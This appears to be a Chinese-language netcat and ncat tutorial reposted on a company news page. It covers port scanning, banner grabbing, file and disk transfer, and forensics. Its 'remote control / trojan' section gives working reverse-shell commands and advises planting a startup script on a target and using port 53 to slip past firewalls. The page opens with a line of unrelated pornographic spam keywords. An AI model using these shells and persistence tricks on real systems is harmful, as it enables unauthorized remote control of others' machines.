操屁眼的视频在线免费看,日本在线综合一区二区,久久在线观看免费视频,欧美日韩精品久久综

新聞資訊

    簡介

    Netcat 是一款簡單的 Unix 工具,使用 UDP 和 TCP 協議。 它是一個可靠的容易被其他程序所啟用的后臺操作工具,同時它也被用作網絡的測試工具或黑客工具。 使用它你可以輕易的建立任何連接。內建有很多實用的工具。

    安裝

    https://eternallybored.org/misc/netcat/下載安裝包netcat-win32-1.12.zip,windows下配置好path環境,則可以在windows環境下使用nc指令。、

    在linux機器中下載rpm包并安裝

    sudo rpm -ivh nc-1.84-22.el6.x86_64.rpm

    客戶端使用

    如下圖使用nc命令連接TCP

    nc 127.0.0.1 29129

    如下圖使用nc命令連接TCP

    nc -u 127.0.0.1 29129

    服務端使用

    使用nc作為服務端啟動監聽,可以通過 netstat -aon | findstr 29229 查看是否建立監聽

    nc -ul -p 29229

    其中

    • -l表示啟動監聽模式
    • -p表示指定端口
    • -u表示udp協議(默認是tcp)

    使用nc作為服務端啟動監聽

    nc -l -p 29229

    其它指令

    向服務端發送指定文檔

    nc -u 127.0.0.1 8080 < ab.json

    c傳輸文件和目錄,客戶端向服務端傳遞

    nc -l 9995 > out.json #啟動服務在9995端口監聽,并將收到數據寫入out.json
    nc 10.0.1.162 9995 < in.json #連接服務端寫入in.json數據

    nc傳輸文件和目錄,服務端向客戶端傳遞

    nc -l 9992 < test.mv #啟動服務在9992端口監聽,并準備寫入test.mv
    nc 10.0.1.162 9992 >test2.mv #連接服務端寫入,并將接收到數據寫入test2.mv

    netcat 簡稱 nc,安全界叫它瑞士軍刀。ncat 也會順便介紹,彌補了 nc 的不足,被叫做 21 世紀的瑞士軍刀。nc 的基本功能如下:

    • 端口掃描
    • telnet / 獲取系統 banner 信息
    • 傳輸文本信息
    • 傳輸文件和目錄
    • 加密傳輸文件
    • 遠程控制 / 木馬
    • 流媒體服務器
    • 遠程克隆硬盤

    首先還是通過-h來查看使用說明:

    nc -h

    其中有兩個參數用得比較多,v 參數就是列出執行過程的詳細信息,n 參數翻譯過來就是僅接收 ip 地址,沒有 dns。之所以使用 n 參數,是因為使用命令的過程中只去傳入 ip,減少了 nc 把域名解析為 ip 的過程,這樣可以節省時間提高效率。

    端口掃描

    nc 用來進行端口掃描的命令是 nc -nvz ip 地址 端口號,z參數從幫助說明里翻譯過來差不多是“不進行 i/o,用來掃描”的意思,可以理解成僅僅是去 ping 去探測目標是否開啟指定端口,不進行任何的交互。

    被掃描端口處于打開狀態

    被掃描端口處于關閉狀態

    z 參數默認掃描的是 tcp 類型,如果需要掃描 udp,則需要使用一個新參數 u。

    每一個掃描器的掃描結果都不一定準確,最好多使用幾款掃描器對目標進行掃描,綜合結果進行判斷,會相對更準確一些。

    telnet / 獲取系統 banner 信息

    telnet使用率大不如以前了,基本被ssh取代了,最大的弊端在于其明文傳輸。nc 也是明文方式傳輸的數據,所以后續需要使用nmap下的ncat工具來結合一下,彌補其不足。nc 在這里可以獲取服務器banner信息。用163郵箱服務器作為例子:

    nc -nv 123.126.97.79 110

    后面還可以通過傳遞USER、PASSWARD進行登錄,但是傳遞的賬戶名和密碼都是需要加密過的,不能直接傳明文,這里不再展開。

    根據返回的信息可以知道,其使用的是 coremail 郵件系統。

    傳輸文本信息

    nc 可以在兩臺機器之間相互傳遞信息,首先需要有一臺機器進行監聽一個端口,另一臺以連接的方式去連接其指定的端口,這樣兩臺機器之間建立了通信后,相互之間可以傳輸信息。l(小寫)參數是監聽模式的意思,p參數是指定一個端口。

    文本傳輸

    這種相互傳輸信息和滲透之間的關系是,電子取證的時候可以用。當機器被攻擊后,為了不破壞現場,需要提出大量的信息和文件出來做分析,這時候可以用 nc 的這個機制,例如,需要一個命令的輸出信息,首先自己機器上監聽一個端口,隨后在被攻擊的機器上執行相關的命令,然后以管道給 nc,指定自己機器的地址和端口,這樣輸出結果就會到自己機器上,如下圖:

    ll的執行結果傳輸給了目標機器

    如果輸出內容過多,則可以將內容定向輸出到文件中:

    將接收結果存到ll.txt

    ll.txt存入的內容

    這里再介紹一個參數q,作用是傳輸完以后等待指定時間自動斷開。

    -q的作用

    傳輸文件和目錄

    傳輸文件和目錄的這些功能,其實和文本信息傳輸類似,只不過是把文本信息換成了文件和目錄。首先用一臺機器監聽一個端口,如果有人連接并傳來信息時,則將信息使用 > 重定向到文件。另一臺機器連接目標指定端口然后通過 < 輸出要傳送的文件即可。

    傳輸文件:

    B向A傳輸一個mp3文件
    A: nc -lp 333 > 1.mp3
    B: nc -nv 1.1.1.1 333 < 1.mp3
    
    A向B傳輸一個mp3文件
    A: nc -q 1 -lp 333 < a.mp3
    B: nc -nv 1.1.1.1 333 > a.pm3

    文件格式沒什么限制,只要源文件和接收文件格式一致就行。

    傳輸目錄:

    tar是打包解包工具,不會使用的可以查一下使用說明
    A打包指定的文件夾,打包后的文件傳給請求方,music前面的-是代表打包后的文件名的,但是這里直接傳輸了,有沒有具體文件名都可以
    B請求目標地址端口,將返回的內容解包
    A: tar -cvf - music/ | nc -lp 333 -q 1
    B: nc -nv 1.1.1.1 333 | tar -xvf -

    加密傳輸文件

    加密傳輸文件需要使用 mcrypt 庫,linux 系統默認是沒有安裝的,需要手動安裝。使用和傳輸文件類似,只需要在傳輸文件時使用 mcrypt 加密即可。

    mcrypt --help

    具體使用:

    接收端:
    nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp3
    發送端:
    mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp3 | nc -nv 1.1.1.1 333 -q 1  

    命令用到的參數有,--flush 立即沖洗輸出,-F 輸出數據,-b 不保留算法信息,-q 關閉一些不是嚴重的警告,-d 解密,首先在接收端監聽一個端口,等待另一臺進行連接傳送文件,隨后在要傳送的機器上把要傳送的文件進行加密使用 nc 連接指定的地址和 ip。

    發送端第一次需要輸入加密的密碼,然后回車再次確認密碼,接收端輸入相應的密碼就會收到傳輸的文件。

    遠程控制 / 木馬

    實現方式如下:

    正向:
    被控制端:
    nc -lp 333 -c bash
    控制端
    nc 1.1.1.1 333
    
    反向:
    控制端:
    nc -lp 333
    被控制端:
    nc 1.1.1.1 333 -c bash
    
    簡單總結就是誰輸-c,誰就被控制

    原理和傳輸文件一樣,只不過傳輸的是 bash,windows 系統是 cmd,正向是被控制機器主動指定 bash,然后通過別人連接自己的端口,別人連接自己后,執行的命令就是被控制的機器。反向就是控制端指定bash,連接被控制端后,指定命令的還是被控制的機器。

    通常情況下,一般的服務器都會有防火墻,很少會允許其他外在的機器來連接自己的某一個端口,只有某些指定端口可能會允許訪問,例如 web 服務的 80 端口。這時正向的 shell 就不起作用了,而防火墻一般都會禁止外在機器來連接自己機器的其他端口,但自己的機器訪問外面的端口一般不會做限制,這時候就可以使用反向 shell,也就是攻擊者給自己的機器開一個端口,讓目標服務器來連自己,并提供bash。為了達到這個目的,可以寫一個腳本放到目標服務器的開機啟動中,只要目標服務器運行就會連接自己。

    當然,有些管理員安全意識比較好的話,也會限制自己的服務器訪問外在的一些端口,這種情況很少見,但也有,這時可以指定常用的端口,例如服務器要使用 dns 服務的 53 端口,這時候自己就可以監聽 53 讓目標服務器來連接自己。

    流媒體服務器

    具體實現方式:

    服務端:
    cat 1.mp4 | nc -lp 333
    客戶端:
    nc -nv 1.1.1.1 333 | mplayer -vo xll -cache 3000 -

    其中mplayer在有些Linux中是沒有默認安裝的,如果沒有就手動安裝一下。

    mplayer -h

    其中vo參數是選擇驅動程序,cache參數的意思是每秒要接收的播放幀。

    遠程克隆硬盤

    我們都知道文件刪除的原理,在不格式化的情況下,刪除文件后是可以通過一些手段還原回來的,所以在遠程電子取證時,遠程克隆硬盤就顯得很有作用了。

    具體使用時需要借助命令dd,首先通過nc監聽一個端口,然后通過dd指定要克隆的分區,dd的of參數相當于一個復制功能,然后在另一臺機器通過nc連接此端口,dd的if參數相當于粘貼的命令。

    接收端:
    nc -lp 333 | dd of=/dev/sda
    被復制端:
    dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1

    ncat

    nc 也有不足之處,首先就是明文傳輸,可能會被嗅探。其次對于反向shell,如果其他人通過網絡掃描發現了這個端口,也就意味著任何人都可以去監聽這個端口進行連接,缺乏身份驗證功能。

    ncat則彌補了這些缺點,ncat不是linux系統自帶的命令,而是nmap中的。ncat的使用參數很多和nc是一樣的,可以通過--alow參數來指定允許連接的機器,通過--ssl進行數據的加密。

    被控制端:
    ncat -c bash --allow 192.168.14.33 -vnl 333 --ssl
    控制端:
    ncat -nv 1.1.1.1 333 --ssl

    通過allow參數即可指定允許連接的機器,這時如果其他人即使掃描到了這個端口也無法進行連接。

網站首頁   |    關于我們   |    公司新聞   |    產品方案   |    用戶案例   |    售后服務   |    合作伙伴   |    人才招聘   |   

友情鏈接: 餐飲加盟

地址:北京市海淀區    電話:010-     郵箱:@126.com

備案號:冀ICP備2024067069號-3 北京科技有限公司版權所有